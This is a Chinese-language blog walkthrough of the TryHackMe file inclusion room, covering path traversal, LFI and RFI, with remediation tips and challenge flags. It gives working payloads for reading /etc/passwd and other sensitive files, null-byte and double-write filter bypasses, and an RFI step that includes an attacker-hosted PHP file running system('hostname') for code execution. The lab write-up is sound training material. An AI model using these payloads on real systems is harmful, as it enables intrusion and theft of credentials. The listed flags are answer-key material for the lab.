【THM】File Inclusion(文件包含漏洞)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/fileinc

通过学习相关知识点:了解文件包含漏洞,包括本地文件包含(LFI)、远程文件包含(RFI),此外还将介绍路径遍历(目录遍历)。

image

介绍

什么是文件包含?

本文旨在为你提供利用文件包含漏洞的基本知识,包括本地文件包含 (LFI)、远程文件包含 (RFI) 和路径遍历(目录遍历);此外,我们还将讨论此类漏洞被发现后的风险以及所需要采取的补救措施。 我们还会讲解关于文件包含漏洞的一些实际示例以及实践挑战。

在某些情况下,Web 应用程序被编写为 可以通过参数请求访问给定系统上的文件,包括图像、静态文本等。 参数是附加到 URL 的查询参数字符串,可用于检索数据或根据用户输入执行操作。 下图解释并分解了关于 URL的主要组成部分。

image

例如,参数可以和 Google 搜索一起使用,使用GET 请求能将用户输入传递到搜索引擎:https://www.google.com/search?q=TryHackMe 。如果你不熟悉该主题,可以查看 Web 工作原理模块以了解相关概念。

让我们讨论当用户发出请求从web服务器处访问具体文件的场景。 首先,用户将向包含目标文件的 Web 服务器发送 HTTP 请求,例如,如果用户想要在 Web 应用程序中访问和显示他们的 CV(Curriculum Vitae-个人简历),发出的URL请求可能如下所示:http://webapp.thm/get.php?file=userCV.pdf,其中file为参数, userCV.pdf 是所需访问的具体文件。

image

为什么会存在文件包含漏洞?

文件包含漏洞通常会在各种 Web 应用程序编程语言中被发现以及利用,例如编写和实现不佳的 PHP代码。 这些漏洞的主要问题是由 输入验证机制 所导致的,具体表现为 来自用户的输入没有经过过滤或安全验证,且用户能够控制他们所输入的字符;当用户的输入未被安全验证时,用户就可以将任何输入传递给代码中的函数,从而导致文件包含漏洞。

文件包含漏洞的风险是什么?

这取决于攻击者能否利用文件包含漏洞读取到敏感数据,成功的文件包含漏洞攻击会导致敏感数据泄露,这些敏感数据包括与 Web 应用程序相关的代码、文件、后端系统的凭据等;此外,如果攻击者可以通过某种方式写入内容到服务器,例如 /tmp 目录,那么还有可能导致远程命令执行(RCE)漏洞。

但是,如果在目标网站上发现某个文件包含漏洞存在却无法访问到敏感数据也无法写入内容到服务器,则意味着该文件包含漏洞其实是无效的。

部署目标虚拟机

部署目标机器,然后访问链接 http://MACHINE_IP/ ,成功访问目标网站时的主页面将如下所示:

image

路径遍历(目录遍历)

路径遍历

路径遍历也被称为目录遍历,是一个允许攻击者读取操作系统资源的web安全漏洞,例如在(运行应用程序的)服务器上的本地文件。 攻击者通过操纵和滥用 Web 应用程序的 URL 来定位和访问存储在应用程序根目录之外的文件或目录,从而实现对此类漏洞的利用。

当用户的输入被传递给 PHP 中的 file_get_contents 等函数时,就可能会出现路径遍历漏洞;但是要注意,该函数并不是导致该漏洞的主要因素,通常情况下输入验证不佳 或者过滤不当才是造成路径遍历漏洞的原因。

在 PHP 中,你可以使用 file_get_contents 来读取文件的内容,有关该函数的更多信息:https://www.php.net/manual/en/function.file-get-contents.php

下图显示了 Web 应用程序如何将文件存储在/var/www/app 中,用户能够通过路径 /var/www/app/CVs/userCV.pdf 请求 userCV.pdf 的内容。

路径遍历攻击,也被称为点-点-斜线攻击,利用../ 能将目录向上移动一级;我们可以通过添加payload来测试 URL 参数,以查看 Web 应用程序的行为方式。

如果攻击者找到 URL 入口点,在本例中为 get.php?file= ,对应的当前目录为/var/www/app/CVs/,那么攻击者可以发送如下内容访问密码文件:http://webapp.thm/get.php?file=../../../../etc/passwd

image

如果没有输入验证,也不是访问位于/var/www/app/CVs位置的 PDF 文件,而是通过Web 应用程序从其他目录检索文件,在本例中被检索的为/etc/passwd文件,这个过程就是对路径遍历漏洞的利用。payload中的每个..都代表移动到上一级目录,直到到达根目录 /,然后再将目录更改为/etc,并从那里读取passwd文件。

image

最终,Web 应用程序会将对应路径的文件内容发回给攻击者用户:

image

同样,如果 Web 应用程序在 Windows 服务器上运行,则攻击者需要提供 Windows 路径。 例如,如果攻击者想要读取位于 c:\boot.ini 中的 boot.ini 文件,那么攻击者可以根据目标操作系统版本尝试以下payload:

http://webapp.thm/get.php?file=../../../../boot.ini

或者

http://webapp.thm/get.php?file=../../../../windows/win.ini

在Windows系统中,我们也是向上移动目录直到到达根目录,通常是 c:\;有时,开发人员会添加过滤器以限制对某些文件或目录的访问,以下是在渗透测试时可能需要经常使用的一些操作系统文件:

Location                                                     Description

/etc/issue                                              包含要在登录提示之前打印的消息或系统标识。

/etc/profile                     控制系统范围的默认变量,例如导出(Export)变量、文件创建掩码 (umask)、终端类型、用于指示新邮件何时到达的邮件消息

/proc/version                                           指定 Linux 内核的版本

/etc/passwd                                             包含有权访问系统的所有注册用户信息

/etc/shadow                                             包含系统用户密码的信息

/root/.bash_history                                     包含 root 用户的历史命令

/var/log/dmessage                                   包含全局系统消息,包括系统启动期间记录的消息

/var/mail/root                                          root 用户的所有电子邮件

/root/.ssh/id_rsa                               服务器上的root 用户或任何已知有效用户的 SSH 私钥

/var/log/apache2/access.log                             Apache web服务器的访问请求

C:\boot.ini                                             包含具有 BIOS 固件的计算机的引导选项

答题

image

file_get_contents

本地文件包含(LFI)

Local File Inclusion (LFI-本地文件包含)

针对 Web 应用程序的 LFI 攻击通常是由于开发人员缺乏安全意识而导致的。 对于 PHP,使用 includerequireinclude_oncerequire_once 等函数通常会导致Web 应用程序易受攻击。 在本文中,我们选择分析的语言是 PHP,但值得注意的是,在使用其他语言(例如 ASP、JSP,甚至 Node.js 应用程序)时也会出现 LFI(本地文件包含) 漏洞。 LFI 漏洞利用 将遵循与路径遍历漏洞相同的概念。

在本节中,我们将带你了解各种 LFI 场景以及如何利用它们。

1.假设web应用提供了两种国家的语言,用户可以在EN和AR之间进行选择

<?PHP
    include($_GET["lang"]);
?>

上面的 PHP 代码通过 URL 参数 lang 并使用 GET 请求来包含页面文件。

你可以通过输入以下 HTTP 请求来完成文件调用:输入http://webapp.thm/index.php?lang=EN.php 加载英文页面或 http://webapp.thm/index.php?lang=AR.php 加载阿拉伯文页面,EN.phpAR.php 文件都在同一目录下。

理论上,如果没有任何 输入验证处理,我们就可以通过上面的代码访问和显示服务器上的任何可读文件。假设我们要读取 /etc/passwd 文件,该文件的内容是 有关 Linux 操作系统用户的敏感信息,我们可以尝试使用以下url请求:http://webapp.thm/get.php?file=/etc/passwd 。在这种情况下,该url之所以有效,是因为include函数中没有指定目录,也没有做 输入验证处理。

2.接下来,在下面的代码中,开发人员决定指定函数内部的目录。

<?PHP
    include("languages/". $_GET['lang']);
?>

在上面的代码中,开发者决定使用include函数并且通过lang参数来调用languages目录下的PHP页面文件。

如果没有做输入验证处理,攻击者可以通过将lang输入替换为其他操作系统敏感文件(例如 /etc/passwd)来操纵 URL,相关的 payload 看起来类似于路径遍历漏洞,include 函数允许我们将任何可调用的文件包含到当前页面中,以下是具体的漏洞利用:

http://webapp.thm/index.php?lang=../../../../etc/passwd

答题

image

部署目标机并启动攻击机,访问目标站点,选择关卡Lab#1:

image

/lab1.php?file=/etc/passwd

访问目标站点,选择关卡Lab#2:

image

includes

本地文件包含(LFI)-2

在本小节中,我们将会更深入地去研究 LFI漏洞。我们将讨论一些绕过 include 函数中的过滤器的技术。

1.在上一小节中,主要介绍了两种代码情境,我们首先检查了web app的代码,然后我们才知道如何利用它;但是,在本节中,我们要进行的是黑盒测试,我们没有源代码以供查看。

在黑盒环境下:有效的报错信息对于我们理解数据将如何在 Web 应用程序中传递和处理非常重要。

假设我们有以下入口点:http://webapp.thm/index.php?lang=EN。如果我们输入一个无效的输入,比如THM,我们会得到如下错误提示信息:

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

通过输入 THM ,得到的错误消息将显示 include 函数的具体内容:include(languages/THM.php);

如果仔细查看报错提示中所包含的目录信息,我们能够可以知道languages 目录下的被函数所包含的文件会在条目末尾自动添加 .php后缀。因此一个有效的输入将是如下内容:index.php?lang=EN,其中 EN文件 将位于给定的languages目录下,名为 EN.php

此外,该报错提示还披露了关于完整 Web 应用程序目录路径的另一条重要信息,即 /var/www/html/THM-4/,利用这一个信息,我们可以使用 ../以跳出当前文件夹(即/var/www/html/THM-4/languages):

http://webapp.thm/index.php?lang=../../../../../etc/passwd

注意:我们需要使用 5个 ../ ,因为我们通过报错信息 已经知道当前路径有四级目录 /var/www/html/THM-4然后再加上之前提到的languages目录,所以一共有需要5个../,但是我们仍然会收到以下报错信息:

Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

根据报错信息:我们可以跳出出当前的 PHP 目录,但是 include 函数仍然会给文件末尾添加.php后缀!这说明相关的开发人员已经指定了要传递给 include 函数的文件类型,我们可以尝试使用 NULL BYTE,即 %00 来将文件后缀截断。

添加空字节是一种注入技术,通过在用户所提供的数据中添加 URL 编码%00或十六进制的0x00就能够终止 web应用程序对字符串的读取操作,也就是说:此操作将试图欺骗 Web 应用程序以使其忽略 Null Byte 之后的任何内容。

通过在payload末尾添加空字节,我们将告诉 include 函数忽略空字节之后的任何内容(实际操作时--在浏览器的地址栏中输入url形式的payload):

include("languages/../../../../../etc/passwd%00").".php"); 相当于include("languages/../../../../../etc/passwd");

注意:%00 技巧已修复,该技巧不适用于 PHP 5.3.4 及更高版本。

2.假设开发者决定过滤关键字以避免泄露敏感信息!正在被过滤的是/etc/passwd文件。此时,有两种可能的方法可以尝试绕过该过滤器:通过在过滤关键字的末尾使用空字节 %00 或使用访问当前目录技巧/.

相关payload可参考以下内容:http://webapp.thm/index.php?lang=/etc/passwd%00http://webapp.thm/index.php?lang=/etc/passwd/.

为了更清楚地理解访问当前目录技巧/.,我们可以查看以下例子:如果我们在文件系统中使用cd ..,我们将切换到上一级目录;如果我们使用的是cd.,我们仍然将停留在当前目录。

因此,当我们输入/etc/passwd/..时,我们将切换目录到/etc/,然后当我们输入/etc/passwd/.时,将停留在当前目录/etc/passwd(因为.指代的就是当前工作目录,所以并不会进行目录切换操作)。

3.假设在以下场景中,开发者开始通过过滤一些其他关键字来进行输入验证处理。 我们可以先输入一些内容测试一下并检查错误信息!

当我们输入http://webapp.thm/index.php?lang=../../../../etc/passwd时,如果收到如下错误提示:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

这说明:../关键字被过滤了,当我们检查 include (language/etc/passwd)部分中的警告消息时,我们可以发现web应用程序使用空的字符串内容替代了../

我们可以使用一些技术来绕过上述过滤的限制,尝试使用以下payload:....//....//....//....//....//etc/passwd。这种方式被称为“双写绕过”。

双写绕过生效原因:PHP 过滤器仅匹配并替换它找到的第一个子集字符串 ../并且不做再次过滤,所以当双写绕过执行成功时,将留下下图所示的内容。

image

4.最后,我们将讨论如果开发人员强制include函数从已定义的目录中读取目标文件的情况!

例如,如果 Web 应用程序要求用户提供一个必须包含指定目录的输入:http://webapp.thm/index.php?lang=languages/EN.php

为了成功利用此类情况下的文件包含漏洞,我们可以尝试在payload中包含指定目录,即:?lang=languages/../../../../../etc/passwd

答题

image

部署目标机并启动攻击机,访问目标站点,选择关卡Lab#3:

image

访问目标站点,选择关卡Lab#4:

image

http://webapp.thm/index.php?file=/etc/passwd%00

image

http://webapp.thm/index.php?file=/etc/passwd/.

image

image

导致此处发生目录遍历的函数为:file_get_contents

访问目标站点,选择关卡Lab#5:

....//....//....//....//etc/passwd

image

访问目标站点,选择关卡Lab#6:

image

THM-profile/../../../../../etc/os-release

image

指定要包含的目录为:THM-profile

读取/etc/os-release文件内容,VERSION_ID 的值为:12.04

远程文件包含(RFI)

远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。 与 LFI 一样,RFI 发生在不正确地验证用户输入时,该漏洞允许攻击者将外部的 URL 注入 include 函数中。 RFI 的一项前置要求是需要目标服务器启用allow_url_fopen选项(将该选项设置为on)。

RFI 的风险高于 LFI,因为 RFI 漏洞能够允许攻击者在web服务器上进行远程命令执行操作 (RCE漏洞)。 成功的 RFI 攻击的其他后果包括:

  • 敏感信息泄露

  • Cross-site Scripting (XSS)-跨站脚本攻击

  • Denial of Service (DoS)-拒绝服务攻击

外部服务器必须与web应用程序服务器进行通信 才能成功进行 RFI 攻击。攻击者可以在其自身拥有的外部服务器上事先托管恶意文件,然后通过HTTP请求将恶意文件注入到目标web服务器上的include函数中,注入成功之后,恶意文件的内容就能在易受攻击的目标web应用服务器上得到执行。

RFI(远程文件包含)漏洞利用步骤

下图是一个成功的RFI攻击的步骤示例! 假设攻击者在他们自己的服务器上托管了一个 PHP 文件http://attacker.thm/cmd.txt,其中 cmd.txt 包含的内容为打印一个消息 Hello THM

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意URL,指向攻击者自身拥有的服务器,如http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。 如果目标web服务器的输入验证处理 不严格,则恶意 URL 会传递到目标web服务器的include函数中。

接下来,Web 应用程序服务器将向恶意服务器发送 GET 请求以获取恶意文件,该请求的结果是:目标Web 应用程序会将远程文件包含到 include 函数中,以在目标web服务器的当前页面内执行 PHP 文件并将执行的结果发送给攻击者。

在本例中,恶意文件的执行结果为:目标站点的当前页面的某处将显示一个 Hello THM 消息。

image

操作

首先在攻击机上新建一个文件:

image

然后在攻击机上开启一个简易web服务器,托管刚才所创建的文件:

python3 -m http.server

image

最后使用浏览器访问目标页面:http://machine_ip/playground.php,在url地址栏中,执行远程文件包含payload,完成RFI攻击过程:

http://10.10.201.162/playground.php?file=http://10.10.198.7:8000/cmd.txt

image

文件包含漏洞防范建议

作为开发人员,了解 Web 应用程序漏洞、掌握漏洞的发现方法以及预防方法非常重要。 为了防止文件包含漏洞被攻击者利用,一些常见的建议包括:

  • 将系统和服务(包括 Web 应用程序框架)更新为最新版本。
  • 关闭 PHP 报错以避免泄露应用程序的路径和其他可能泄露的信息。
  • Web 应用程序防火墙 (WAF) 是帮助减轻 Web 应用程序攻击的不错选择。
  • 如果你的 Web 应用程序不需要,请禁用一些会导致文件包含漏洞的 PHP 功能,例如 allow_url_fopenon 选项)和 allow_url_include
  • 仔细分析 Web 应用程序,只允许需要的协议和 PHP 包装器。
  • 永远不要相信用户的输入,并确保针对文件包含实施适当的输入验证处理。
  • 对文件名和文件位置实施白名单以及黑名单策略。

挑战

很好! 现在应用你学到的技巧来夺取旗帜(flag)! 熟悉 HTTP Web 基础知识可以帮助你更快完成这些挑战。

确保目标虚拟机已启动并正在运行,然后访问:http://machine_ip/challenges/index.php

image

LFI(本地文件包含)漏洞测试步骤

  1. 找到可输入的入口点,可能通过以下方式: GET、POST、COOKIE 或 HTTP 标头的值(values)!
  2. 输入有效输入以查看 Web 服务器的行为方式。
  3. 输入无效输入,包括特殊字符和常见文件名。
  4. 不要总是相信你在输入表单中提供的输入就是你想要执行的payload! 尝试使用浏览器地址栏或 Burpsuite等工具。
  5. 在输入无效输入时,尝试查看报错信息以揭示 Web 应用程序的当前路径; 如果没有报错信息,那么进行反复试验可能是你的最佳选择。
  6. 了解目标web应用程序所做的“输入验证”处理以及目标web服务器是否应用了任何过滤器!
  7. 尝试注入一个有效输入来读取敏感文件内容。

答题

image

访问http://10.10.81.7/challenges/chall1.php (此处提示要修改请求方法为POST):

image

在上图页面中的输入框里输入一个文件名,然后使用Burpsuite抓取chall1.php页面的数据包,修改方法为POST并添加Request body:

image

flag1:F1x3d-iNpu7-f0rrn

访问http://10.10.81.7/challenges/chall2.php (此处提示可用的payload和cookie有关):

image

打开浏览器内置的开发者工具,多次修改该页面的cookie值,根据页面返回的信息找到合适的payload:

image

image

根据上面尝试的结果,使用以下payload来注入到cookie值中:

../../../../etc/flag2%00

image

flag2:c00k13_i5_yuMmy1

访问http://10.10.81.7/challenges/chall3.php (此处提示该页面使用$_REQUESTS来接受 HTTP 请求,由PHP文档可知:$_REQUEST方法可以包含 $_GET$_POST$_COOKIE 的内容)。

image

使用Burpsuite抓取该页面的数据包并修改请求方法为POST、添加request body、使用%00截断(手动输入而不是使用Inspector):

image

flag3:P0st_1s_w0rk1in9

通过http://machine_ip/playground.php页面执行RFI攻击,尝试获得RCE以知晓目标操作系统的主机名(具体操作步骤和本文第6小节类似):

在攻击机上新建一个文件RFI.txt,内容如下:

# This code will print the hostname of the server
<?PHP
    echo system('hostname');
?>

image

将新建的文件托管在 Python3 服务器上,使用以下命令在攻击机上启动 Python3 服务器:

python3 -m http.server 8000

image

使用浏览器访问http://10.10.213.213/playground.php页面,在浏览器的url地址栏输入以下payload:

http://10.10.213.213/playground.php?file=http://10.14.32.186:8000/RFI.txt

image

输出结果为:lfi-vm-thm-f8c5b1a78692

posted @ 2022-11-18 20:49  Hekeatsll  阅读(2412)  评论(2编辑  收藏  举报